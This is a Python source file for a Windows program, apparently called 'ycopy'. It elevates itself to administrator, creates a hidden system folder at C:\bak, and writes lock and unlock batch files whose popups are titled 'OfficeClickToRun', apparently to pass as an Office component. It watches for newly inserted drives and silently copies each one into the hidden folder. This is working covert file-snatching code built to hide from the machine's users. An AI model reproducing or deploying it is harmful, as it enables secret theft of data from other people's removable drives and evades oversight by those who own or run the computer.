﻿import _thread,os,shutil,easygui,time
import tkinter.messagebox as m
import ctypes, sys
import dfsCopyFile
import logcat
backup_root='C:\\bak'
def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False


    

#写入解锁文件
try:
    
    with open ("C:\\windows\\unlock_bak.bat","w",encoding= "utf-8") as f:
        f.write("attrib C:\\bak -s -h&mshta \"javascript:new ActiveXObject('WScript.Shell').popup('Unlocked',7,'OfficeClickToRun',64);window.close();\"")
    with open ("C:\\windows\\lock_bak.bat","w",encoding="utf-8") as f:
        f.write("attrib C:\\bak +s +h&mshta \"javascript:new ActiveXObject('WScript.Shell').popup('Locked',7,'OfficeClickToRun',64);window.close();\"")
except Exception as e:
    logcat.Logcat.d("ycopy","写入解锁文件失败:"+e)




def get_available_drives():
    drives = []
    for drive in range(ord('A'), ord('Z')+1):
        drive_name = chr(drive) + ":\\"
        if os.path.exists(drive_name):
            drives.append(drive_name)

    return drives







if __name__ == "__main__":
    
    if is_admin():
        pass
    else:
        # 以管理员权限重新运行程序
        ctypes.windll.shell32.ShellExecuteW(None,"runas", sys.executable, __file__, None, 1)

    


    try:
        os.makedirs(backup_root)
        _thread.start_new_thread(os.system,(r'attrib %s +s +h'%backup_root,))
    except Exception as e:
        print('文件夹已创建',e)
    oldDiskList = get_available_drives()
    while 1:
        # print(oldDiskList)
        newDiskList = get_available_drives()
        logcat.Logcat.d("ycopy","当前磁盘列表: "+str(newDiskList))
        if len(newDiskList)>len(oldDiskList):
            for i in newDiskList:
                if i not in oldDiskList:
                    logcat.Logcat.d("ycopy","发现新磁盘: "+i)
                    time.sleep(0.1)
                    logcat.Logcat.d("ycopy","开始新备份线程")
                    print()
                    _thread.start_new_thread(dfsCopyFile.runCopy,(i,backup_root))
            
            oldDiskList=newDiskList[:]
        else:

            oldDiskList=newDiskList[:]
        time.sleep(0.9)
        